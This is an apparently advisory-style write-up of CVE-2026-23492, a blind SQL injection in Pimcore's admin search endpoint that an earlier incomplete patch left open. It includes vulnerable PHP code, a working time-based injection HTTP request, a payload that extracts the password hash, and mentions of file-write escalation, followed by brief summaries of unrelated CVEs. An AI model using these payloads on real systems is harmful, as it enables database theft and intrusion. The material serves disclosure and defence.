Feb 19, 2026·6 min read·38 visits
Pimcore's patch for a previous SQLi failed spectacularly. By hiding database errors and stripping `--` comments, they merely forced attackers to use Blind SQL injection techniques. Authenticated admins can still dump the database.
A high-severity Blind SQL Injection vulnerability in the Pimcore Admin interface resulting from a botched patch for a previous issue (CVE-2023-30848). Developers attempted to fix the original SQL injection by blacklisting comment characters and suppressing database errors with a try-catch block. This inadvertently converted an Error-Based SQLi into a Blind SQLi, allowing authenticated attackers to exfiltrate the entire database structure and contents using time-based or boolean-based payloads.
There is a special place in security hell for incomplete patches. You know the type: a developer sees a vulnerability report, panics, and applies a band-aid that covers the symptom but ignores the disease. CVE-2026-23492 is the poster child for this phenomenon.
Back in 2023, Pimcore—a massive enterprise data management platform—was hit with CVE-2023-30848, a nasty SQL injection in the Admin Search API. The developers rushed a fix. They patted themselves on the back, marked the ticket as 'Resolved,' and moved on. But they didn't actually fix the SQL injection; they just made it quieter.
Fast forward to 2026, and here we are. The vulnerability is back, wearing a fake mustache, and it's angrier than before. This isn't just a story about bad code; it's a masterclass in why 'sanitization' via str_replace and error suppression is the security equivalent of turning up the radio to drown out the sound of your car engine exploding.
To understand CVE-2026-23492, we have to look at the 'fix' for its predecessor. The original issue was in the findAction method of the SearchController. The application takes a fields parameter from the user and concatenates it directly into a SQL query string. Classically bad.
The developers' response to the original disclosure was two-fold:
The Filter: They added str_replace('--', '', $fields). Their logic was simple: 'If hackers can't use the SQL comment sequence (--), they can't truncate the query, so they can't inject.'
The Mute Button: They wrapped the query execution in a try-catch block for SyntaxErrorException. If the query failed (because a hacker broke the syntax), the app would simply throw a generic 'Check your arguments' error instead of leaking database details.
This is hilariously insufficient. SQL doesn't need comments to be valid; attackers can simply balance the parentheses. And while the try-catch block successfully stopped Error-Based SQL Injection (where we read data from error messages), it did absolutely nothing to stop the query from executing. It just turned the vulnerability into a Blind SQL Injection.
Let's look at the vulnerable code that shipped with the 'fix' for CVE-2023-30848. This snippet resides in bundles/AdminBundle/Controller/Searchadmin/SearchController.php.
// The "Secure" Version (CVE-2026-23492)
if (!empty($allParams['fields'])) {
$fields = $allParams['fields'];
// The band-aid: attempting to stop comments
$fields = str_replace('--', '', $fields);
foreach ($fields as $f) {
// Splitting by tilde, but $f is still user-controlled
$parts = explode('~', $f);
// ... logic that concatenates $parts into the query ...
}
}
// ... later ...
try {
// The execution
$hits = $searcherList->load();
} catch (SyntaxErrorException $syntaxErrorException) {
// The silencer
throw new \InvalidArgumentException('Check your arguments.');
}The vulnerability is the concatenation inside the loop (omitted for brevity, but it's there). The str_replace is trivial to bypass because we don't need comments if we construct a syntactically valid query. The catch block prevents us from seeing what broke, but if we inject SLEEP(10), the server still sleeps for 10 seconds. The code executes; it just doesn't complain loudly.
The real fix, applied in commit faf1168fb38bdba57e5c5cb7143997fca9b7680b, finally addresses the root cause by removing the ad-hoc concatenation entirely and validating field names against a strict schema.
Since we can't see the output (no error messages, no reflected data in the grid due to the query structure), we have to ask the database Yes/No questions or tell it to go to sleep. We'll use a Time-Based Blind approach.
The Setup:
We are an authenticated admin (or an attacker who hijacked an admin session). We target the /admin/search/find endpoint.
The Payload:
The application splits our input by ~. We need to inject into the field name. Since we can't use -- to ignore the rest of the query, we simply ensure our injection maintains valid SQL syntax for the surrounding query structure.
POST /admin/search/find HTTP/1.1
Host: target-pimcore.com
Cookie: PIMCORE_ADMIN_SID=...
Content-Type: application/x-www-form-urlencoded
fields[]=id~AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)The Execution:
id~AND (SELECT 1 FROM (SELECT(SLEEP(5)))a).str_replace looks for --. Finds none. Passes.SELECT * FROM objects WHERE field = id AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) ...SLEEP(5).Boom. We have confirmation. From here, we script sqlmap or write a custom Python script to bit-shift extract the admin password hash character by character: AND (SELECT IF(ORD(MID((SELECT password FROM users LIMIT 1),1,1))=97,SLEEP(2),0)).
Why does this matter? "It requires admin authentication!" I hear the apologists cry. Yes, it does. But in modern enterprise environments, "Admin" is often a tiered role. A low-level content editor might have access to the Search function but not the User Management settings.
With this vulnerability, that low-privileged editor can dump the entire database. They can extract:
Furthermore, because this is SQL injection, if the database user has FILE privileges (common in poor configurations), an attacker could read files off the disk (LOAD_FILE) or potentially write a web shell (INTO OUTFILE), turning a data leak into full Remote Code Execution (RCE).
Stop using str_replace for security. Just stop it. The mitigation is straightforward: Upgrade.
The patched versions replace the dynamic string building with proper query construction that essentially whitelists allowed fields or maps them strictly, ensuring that user input is never treated as executable SQL code.
If you cannot patch immediately (why?), you can attempt to block requests containing ~ AND SQL keywords (like SELECT, UNION, SLEEP) at your WAF level, but WAFs are notoriously bypassable. Patching is the only real cure.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Pimcore Pimcore | < 11.5.14 | 11.5.14 |
Pimcore Pimcore | >= 12.0.0-RC1, < 12.3.1 | 12.3.1 |
| Attribute | Detail |
|---|---|
| CWE | CWE-89 (SQL Injection) |
| CVSS v3.1 | 8.8 (High) |
| Attack Vector | Network (Authenticated) |
| Impact | Confidentiality, Integrity, Availability |
| EPSS Score | 0.00004 (Low Probability) |
| Fix Type | Vendor Patch (Code Refactoring) |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
A critical logical flaw in the eml_parser Python module prior to version 3.0.2 allows malicious URLs to evade automated security analysis pipelines. By encoding key URI delimiter characters as HTML decimal entities, an attacker can mask indicators of compromise. Security controls, orchestration layers, and sandbox systems fail to detect these links, while downstream Mail User Agents natively reconstruct the malicious hyper-references when processed by end-users. This mechanism undermines the integrity of automated indicator extraction processes within Security Operations Centers.
A denial of service vulnerability in GOVCERT-LU eml_parser before version 3.0.2 allows unauthenticated remote attackers to trigger an unhandled RecursionError exception. The issue arises during the parsing of structured email headers containing excessively nested parentheses representing Comments and Folding White Space (CFWS). Because the parser fails to catch this recursion-limit exception from Python's standard library, processing of the entire mail immediately aborts, which can disrupt automated security triage pipelines and email ingestion components.
Prior to version 3.0.2, GOVCERT-LU's eml_parser library is vulnerable to an algorithmic complexity Denial of Service (DoS) vulnerability via the comment-stripping routine noparenthesis() in routing.py. An unauthenticated attacker can submit a crafted EML file containing nested parenthesized comments to cause complete CPU saturation. This happens due to a quadratic time complexity bottleneck in regex replacement of nested structures.
Whistle prior to version 2.10.3 contains a path traversal vulnerability in its internal service layer. An unauthenticated remote attacker can read arbitrary files on the hosting operating system by issuing a crafted GET request containing relative or absolute file paths to the `/cgi-bin/temp/get` endpoint. This behavior occurs because the application fails open when an input file parameter does not match the temporary file format regex.
An arbitrary file read and write vulnerability exists in the Model Context Protocol (MCP) server endpoints of sublinear-time-solver and consciousness-explorer. By providing unvalidated file paths to the export_state, import_state, saveVectorToFile, and loadVectorFromFile tools, local attackers can read or overwrite sensitive host files.
An Authorization Bypass Through User-Controlled Key (CWE-639 / Insecure Direct Object Reference) vulnerability exists in @arikusi/deepseek-mcp-server starting in version 1.4.2 and fixed in 1.7.0. In Streamable HTTP transport mode, a process-global SessionStore singleton allows any remote client to retrieve or modify active conversation contexts belonging to other clients.